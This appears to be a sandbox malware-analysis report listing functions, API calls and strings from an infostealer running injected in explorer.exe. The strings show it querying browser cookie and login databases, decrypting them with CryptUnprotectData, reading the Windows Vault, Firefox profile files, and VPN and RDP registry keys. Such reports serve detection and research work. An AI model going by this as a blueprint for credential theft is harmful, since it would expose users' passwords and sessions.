Part of subcall function 00007FF7CB8725DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CB871985,?,?,?,00007FF7CB87155F), ref: 00007FF7CB8725E5

__memcpy.DELAYIMP ref: 00007FF7CB87EF5F

Part of subcall function 00007FF7CB880110: __memcpy.DELAYIMP ref: 00007FF7CB880141
Part of subcall function 00007FF7CB880110: __memcpy.DELAYIMP ref: 00007FF7CB88014F

Part of subcall function 00007FF7CB87EB90: lstrlenA.KERNEL32 ref: 00007FF7CB87EBAD

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

Strings

url, xrefs: 00007FF7CB87EFA8
table, xrefs: 00007FF7CB87EF0A
last_visit_date, xrefs: 00007FF7CB87EFBB
moz_places, xrefs: 00007FF7CB87EF28

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_date$moz_places$table$url
API String ID: 2336645791-66087218
Opcode ID: 4c06316f0353d82960af59c760118a96eaa9d9ac5458cf65fb31cfba7c031be8
Instruction ID: 927ce64d228c71d5eecd2b41a155fb710e234b5e03530a406b498f786d78ede2
Opcode Fuzzy Hash: 4c06316f0353d82960af59c760118a96eaa9d9ac5458cf65fb31cfba7c031be8
Instruction Fuzzy Hash: 4931961260969281DE60EF2FE8505AAA390FF807E8F804032FE4D577A6DF7DD496C760

Function 00007FF7CB87F104 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CB8725DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CB871985,?,?,?,00007FF7CB87155F), ref: 00007FF7CB8725E5

__memcpy.DELAYIMP ref: 00007FF7CB87F18B

Part of subcall function 00007FF7CB880110: __memcpy.DELAYIMP ref: 00007FF7CB880141
Part of subcall function 00007FF7CB880110: __memcpy.DELAYIMP ref: 00007FF7CB88014F

Part of subcall function 00007FF7CB87EB90: lstrlenA.KERNEL32 ref: 00007FF7CB87EBAD

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

Strings

url, xrefs: 00007FF7CB87F1D4
table, xrefs: 00007FF7CB87F136
last_visit_time, xrefs: 00007FF7CB87F1E7
urls, xrefs: 00007FF7CB87F154

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: 0a42863f281ee6fe74cbd49d57002a5e8e3fc762b2f6cce6b126dc49bb499105
Instruction ID: a4a2f5e6393022144271974f7919036adccfdda2935741f2df874d21b7dc8085
Opcode Fuzzy Hash: 0a42863f281ee6fe74cbd49d57002a5e8e3fc762b2f6cce6b126dc49bb499105
Instruction Fuzzy Hash: 4831961161869381DE60EF2EE4505AAB390FB81BE8F804031FE4D57BA5DF3CD495D7A0

Function 00007FF7CB87E3A8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7CB87E3D8
PathAppendW.SHLWAPI ref: 00007FF7CB87E3E6

Strings

"},, xrefs: 00007FF7CB87E49B
":", xrefs: 00007FF7CB87E47D
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF7CB87E3CC

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: AppendPathlstrcpy
String ID: ":"$"},$Software\Fortinet\FortiClient\Sslvpn\Tunnels
API String ID: 3043196718-4231764533
Opcode ID: aa9ff1c84d4b7c8f3090ffa5ee34b20535206f5e98df821a65f4a5b75f9be73c
Instruction ID: bad5cda7cbde20cca8a6335c2f529e239cf7f14d506a6586de7671f8fcdca9c4
Opcode Fuzzy Hash: aa9ff1c84d4b7c8f3090ffa5ee34b20535206f5e98df821a65f4a5b75f9be73c
Instruction Fuzzy Hash: 6E31D172618B9182DA20FF29E4042E9A3A5FB88BE4F940132FE5C177A9CF3CD554C790

Function 00007FF7CB871DE8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00007FF7CB871E35
RegSetValueExA.ADVAPI32 ref: 00007FF7CB871EBE
RegCloseKey.ADVAPI32 ref: 00007FF7CB871ED1

Strings

?, xrefs: 00007FF7CB871E29

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: CloseCreateValue
String ID: ?
API String ID: 1818849710-1684325040
Opcode ID: 3f699420e7c2bd9d5165ef801724a0e58f217ece520d4ca7f8f7086c4c226540
Instruction ID: a9ce25c87b3907caaa76ff3725ffe2035ae7756442d93e95b0b5941bc8ce6f3c
Opcode Fuzzy Hash: 3f699420e7c2bd9d5165ef801724a0e58f217ece520d4ca7f8f7086c4c226540
Instruction Fuzzy Hash: 4721A173A147908AE720AF75A8402EDBBE0FB5C7A8B940225EA8C07F59CF38C154CB50

Function 00007FF7CB87E600 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7CB87E61F
PathAppendW.SHLWAPI ref: 00007FF7CB87E62D

Part of subcall function 00007FF7CB87CCF4: RegGetValueW.ADVAPI32 ref: 00007FF7CB87CD33
Part of subcall function 00007FF7CB87CCF4: RegGetValueW.ADVAPI32 ref: 00007FF7CB87CD72

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

Strings

Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF7CB87E613
"},, xrefs: 00007FF7CB87E6AB

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: HeapValue$AppendFreePathProcesslstrcpy
String ID: "},$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles
API String ID: 784796242-1893226844
Opcode ID: 142641f8b7a49738de1f75f81717160bc999a6765c17e45e63aeae2f78436569
Instruction ID: 3f6f8923c7679da9ab11d587367f3a4b9d1bd4a16d94c6088a341c8522bbf0cf
Opcode Fuzzy Hash: 142641f8b7a49738de1f75f81717160bc999a6765c17e45e63aeae2f78436569
Instruction Fuzzy Hash: 5D11B11160869240D920FF19E8553FAD390EF84BE4FC05131F95D5B6BADF2CD195C7A0

Function 00007FF7CB87CBF0 Relevance: 6.1, APIs: 4, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF7CB87CC35
RegEnumKeyExW.ADVAPI32 ref: 00007FF7CB87CC6F
RegEnumKeyExW.ADVAPI32 ref: 00007FF7CB87CCBE
RegCloseKey.ADVAPI32 ref: 00007FF7CB87CCCD

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Enum$CloseOpen
String ID:
API String ID: 1701607978-0
Opcode ID: 416c5c68e5041cda3919146f9132f3cad043645ab3bbea6a523ac74fa5a0f50e
Instruction ID: 2f8a7e447a61a5b819cab927f00ec75e51b0fdc87f4d6e0949ed0fac324310c1
Opcode Fuzzy Hash: 416c5c68e5041cda3919146f9132f3cad043645ab3bbea6a523ac74fa5a0f50e
Instruction Fuzzy Hash: 34216B33618B8582D3109F15E48476AB7B4F788B94F550236EB8C43B28CF3DD559CB40

Function 00007FF7CB87E4D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF7CB87E4FC
PathAppendW.SHLWAPI ref: 00007FF7CB87E50A

Part of subcall function 00007FF7CB87CCF4: RegGetValueW.ADVAPI32 ref: 00007FF7CB87CD33
Part of subcall function 00007FF7CB87CCF4: RegGetValueW.ADVAPI32 ref: 00007FF7CB87CD72

Strings

Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF7CB87E4F0

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Value$AppendPathlstrcpy
String ID: Software\Microsoft\Terminal Server Client\Servers
API String ID: 19203174-1233151749
Opcode ID: 37b6a1f4aac90ea7ac1389f132fae6e750dfaedc5a30334d59bc4a8f412dfbf4
Instruction ID: b38f3e56aff97931a10622350fdb92f9b5b6e1cda6dcf9b8f64d6cadf141d9c1
Opcode Fuzzy Hash: 37b6a1f4aac90ea7ac1389f132fae6e750dfaedc5a30334d59bc4a8f412dfbf4
Instruction Fuzzy Hash: D121F16261468285DB20FF25D8102EDA390FB88BE8FC44132FA4D1BBAADF3CD255C750

Function 00007FF7CB87FDDC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CB87FE0D
lstrcatW.KERNEL32 ref: 00007FF7CB87FE1A

Part of subcall function 00007FF7CB87FF38: lstrlenW.KERNEL32 ref: 00007FF7CB87FF5E
Part of subcall function 00007FF7CB87FF38: lstrlenW.KERNEL32 ref: 00007FF7CB87FF7A
Part of subcall function 00007FF7CB87FF38: WideCharToMultiByte.KERNEL32 ref: 00007FF7CB87FFA3
Part of subcall function 00007FF7CB87FF38: PathFileExistsA.SHLWAPI ref: 00007FF7CB87FFAC
Part of subcall function 00007FF7CB87FF38: OpenFile.KERNEL32 ref: 00007FF7CB87FFC5
Part of subcall function 00007FF7CB87FF38: GetFileSize.KERNEL32 ref: 00007FF7CB87FFE5
Part of subcall function 00007FF7CB87FF38: CreateFileMappingA.KERNEL32 ref: 00007FF7CB88001C
Part of subcall function 00007FF7CB87FF38: MapViewOfFile.KERNEL32 ref: 00007FF7CB88003D
Part of subcall function 00007FF7CB87FF38: __memcpy.DELAYIMP ref: 00007FF7CB88004F
Part of subcall function 00007FF7CB87FF38: UnmapViewOfFile.KERNEL32 ref: 00007FF7CB88005A
Part of subcall function 00007FF7CB87FF38: CloseHandle.KERNEL32 ref: 00007FF7CB880063
Part of subcall function 00007FF7CB87FF38: CloseHandle.KERNEL32 ref: 00007FF7CB88006C

Part of subcall function 00007FF7CB87F27C: __memcpy.DELAYIMP ref: 00007FF7CB87F29A

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

Strings

APPDATA, xrefs: 00007FF7CB87FE06

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: File$CloseHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcat
String ID: APPDATA
API String ID: 2395011915-4054820676
Opcode ID: 1c5aadbc771fdada102cf90f1d560a23c7010e43b89a1500ae84cb532174cc29
Instruction ID: 09546396ee01c6bcbd6b8aa3b81fd36aceca6f356a81ca2b093cce8f3206d3d7
Opcode Fuzzy Hash: 1c5aadbc771fdada102cf90f1d560a23c7010e43b89a1500ae84cb532174cc29
Instruction Fuzzy Hash: 95117F22628A9291EF10EF15E4405EDB3A1FB88798FC45031FA4D97A69EF3CD558C790

Analysis Process: explorer.exePID: 1684, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	50.1%
Signature Coverage:	3.2%
Total number of Nodes:	784
Total number of Limit Nodes:	85

Executed Functions

Function 03273717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,03272893,00000000,00000000,00000000,?), ref: 03271B82
Part of subcall function 03271B6A: CloseHandle.KERNELBASE(00000000), ref: 03271B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 03273778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 03273782
DeleteFileW.KERNELBASE(00000000), ref: 03273789
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 03273794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 0327383B
RtlZeroMemory.NTDLL(?,00000040), ref: 03273870
lstrlen.KERNEL32(?,?,?,?,?), ref: 0327398B
lstrlen.KERNEL32(00000000), ref: 0327399A
wsprintfA.USER32 ref: 032739F1
lstrlen.KERNEL32(00000000,?,?), ref: 032739FD
lstrcat.KERNEL32(00000000,?), ref: 03273A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 03273A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 03273B13
lstrlen.KERNEL32(00000000), ref: 03273B22
wsprintfA.USER32 ref: 03273B79
lstrlen.KERNEL32(00000000), ref: 03273B85
lstrcat.KERNEL32(00000000,?), ref: 03273BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 03273BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 03273C16

Strings

COOKIES, xrefs: 03273BE8, 03273BED, 03273BF6
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 032737C3
TRUE, xrefs: 032739C9, 03273B51
v1, xrefs: 03273821
0, xrefs: 03273828
FALSE, xrefs: 032739BC, 03273B3C
%sTRUE%s%s%s%s%s, xrefs: 032739EB, 03273B73

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 584740257-404540950
Opcode ID: bf4901f002e0fd683010ea7a78a0e497feab46610f869bf5b6af95a42adb82cc
Instruction ID: 59112e4d3581670a9b9d44edaaf76fc1725bba19cf7a6ed9b7ebd9565076a4e5
Opcode Fuzzy Hash: bf4901f002e0fd683010ea7a78a0e497feab46610f869bf5b6af95a42adb82cc
Instruction Fuzzy Hash: A2E1CF74228342AFD711EF25C844A2FBBE9BFC5744F08892CF6858B250DB75D885DB92

Function 03272198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 032721AF
GetVersionExW.KERNEL32(?), ref: 032721BE
LoadLibraryW.KERNELBASE(vaultcli.dll), ref: 032721E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 0327220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 03272214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 03272220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 0327222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 03272236
RtlCompareMemory.NTDLL(?,032D1110,00000010), ref: 032722E8
RtlCompareMemory.NTDLL(?,032D1110,00000010), ref: 0327236C

Part of subcall function 03271953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,03272F0C), ref: 03271973
Part of subcall function 03271953: lstrlenW.KERNEL32(032C6564,?,?,03272F0C), ref: 03271978
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,?,?,?,03272F0C), ref: 03271990
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,032C6564,?,?,03272F0C), ref: 03271994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 032723FE
FreeLibrary.KERNELBASE(00000000), ref: 03272493

Strings

VaultEnumerateItems, xrefs: 03272216
Internet Explorer, xrefs: 032723F8
VaultOpenVault, xrefs: 03272204
VaultFree, xrefs: 0327222C
VaultGetItem, xrefs: 03272222
vaultcli.dll, xrefs: 032721E3
VaultCloseVault, xrefs: 0327220C

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: 828eb7538eda034c38da703f63d568017daf4ec6bbf05fec29e4d57e1d2ed2fb
Instruction ID: d51fb76a071cdcac1726bba0b242a5040b55b412088a58db601af5b36df5acb2
Opcode Fuzzy Hash: 828eb7538eda034c38da703f63d568017daf4ec6bbf05fec29e4d57e1d2ed2fb
Instruction Fuzzy Hash: F3919F71A28341DFD714DF65C894A2FBBE9BFC8604F08882DF59597251DBB0E881CB52

Function 03273098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,03272893,00000000,00000000,00000000,?), ref: 03271B82
Part of subcall function 03271B6A: CloseHandle.KERNELBASE(00000000), ref: 03271B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 032730F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 03273103
DeleteFileW.KERNELBASE(00000000), ref: 0327310A
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 03273115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 032731A4
RtlZeroMemory.NTDLL(?,00000040), ref: 032731D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 032732DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 0327339C

Strings

v1, xrefs: 0327318A
@, xrefs: 032731F1
SELECT origin_url,username_value,password_value FROM logins, xrefs: 03273136
0, xrefs: 03273191

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 2757140130-4052020286
Opcode ID: cf4c6415fe8f54c249e3d29199ae7b8376e8d8dd2a0e64d5f2e47bc73f6c27f0
Instruction ID: 9a394ad50219a4ab9abff69c2b14fc27cb376033f11d34811045d9e1c3b3caa5
Opcode Fuzzy Hash: cf4c6415fe8f54c249e3d29199ae7b8376e8d8dd2a0e64d5f2e47bc73f6c27f0
Instruction Fuzzy Hash: 3B91E175228342AFD710DF25C844E6FBBE9BFC5744F08492CF6859A290DB74D884CB92

Function 03273ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271000: GetProcessHeap.KERNEL32(00000008,?,032711C7,?,?,00000001,00000000,?), ref: 03271003
Part of subcall function 03271000: RtlAllocateHeap.NTDLL(00000000), ref: 0327100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 03273F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 03273F16
lstrcmpiW.KERNEL32(?,032C62CC), ref: 03273F38
lstrcmpiW.KERNEL32(?,032C62D0), ref: 03273F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 03273F69
lstrcmpiW.KERNEL32(?,Local State), ref: 03273F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 03273F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 03273FB5
FindClose.KERNELBASE(00000000), ref: 03273FC4

Strings

*.*, xrefs: 03273F01
Local State, xrefs: 03273F78

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: 105e50522d95e7c664d7e7811985691c64ae417a75030afbd2973aeaf2645a0b
Instruction ID: 6c67dc36457fa644dafc65f5306fc1bc70fec60eb1d51807e9347afff524a046
Opcode Fuzzy Hash: 105e50522d95e7c664d7e7811985691c64ae417a75030afbd2973aeaf2645a0b
Instruction Fuzzy Hash: 2821B3382303466BD710F6319C4CA2FB67CBF85641F0C4529FA52C6181DBB8948996E2

Function 03272B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03271953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,03272F0C), ref: 03271973
Part of subcall function 03271953: lstrlenW.KERNEL32(032C6564,?,?,03272F0C), ref: 03271978
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,?,?,?,03272F0C), ref: 03271990
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,032C6564,?,?,03272F0C), ref: 03271994

FindFirstFileW.KERNELBASE(00000000,?,00000000,00000000,?,00000000), ref: 03272B3D
lstrcmpiW.KERNEL32(?,032C62CC), ref: 03272B63
lstrcmpiW.KERNEL32(?,032C62D0), ref: 03272B7B

Part of subcall function 032719B4: lstrlenW.KERNEL32(00000000,00000000,00000000,03272CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 032719C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 03272BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 03272C16
FindNextFileW.KERNELBASE(00000000,00000010), ref: 03272C43
FindClose.KERNELBASE(00000000), ref: 03272C52

Strings

\*.*, xrefs: 03272B15
cookies.sqlite, xrefs: 03272C10
logins.json, xrefs: 03272BE1

Memory Dump Source

Source File: 00000009.00000002.2999144909.0000000003271000.00000040.80000000.00040000.00000000.sdmp, Offset: 03271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3271000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: 598a19ce566365455abcec06469f832b1991efa11ff6767415166d5169a84d8b
Instruction ID: 3dfe6c77fb98a39f67b8673e550498dcd5d20fd8c41704425765e262ab18c5e2
Opcode Fuzzy Hash: 598a19ce566365455abcec06469f832b1991efa11ff6767415166d5169a84d8b
Instruction Fuzzy Hash: 9531B734334355CBDB14FB715848A3E72DABFC4600B084E2CE856D7245DBB9D9C69252

Function 03271D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 032719B4: lstrlenW.KERNEL32(00000000,00000000,00000000,03272CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 032719C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 03271DA9
lstrcmpiW.KERNEL32(?,032C62CC), ref: 03271DCF
lstrcmpiW.KERNEL32(?,032C62D0), ref: 03271DE7
lstrcmpiW.KERNEL32(?,?), ref: 03271E62

Part of subcall function 03271CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,03272C27), ref: 03271D02
Part of subcall function 03271CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 03271D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 03271E94
FindClose.KERNELBASE(00000000), ref: 03271EA3

Part of subcall function 03271953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,03272F0C), ref: 03271973
Part of subcall function 03271953: lstrlenW.KERNEL32(032C6564,?,?,03272F0C), ref: 03271978
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,?,?,?,03272F0C), ref: 03271990
Part of subcall function 03271953: lstrcatW.KERNEL32(00000000,032C6564,?,?,03272F0C), ref: 03271994

Strings

*.*, xrefs: 03271D8B
\*.*, xrefs: 03271D79

Memory Dump Source

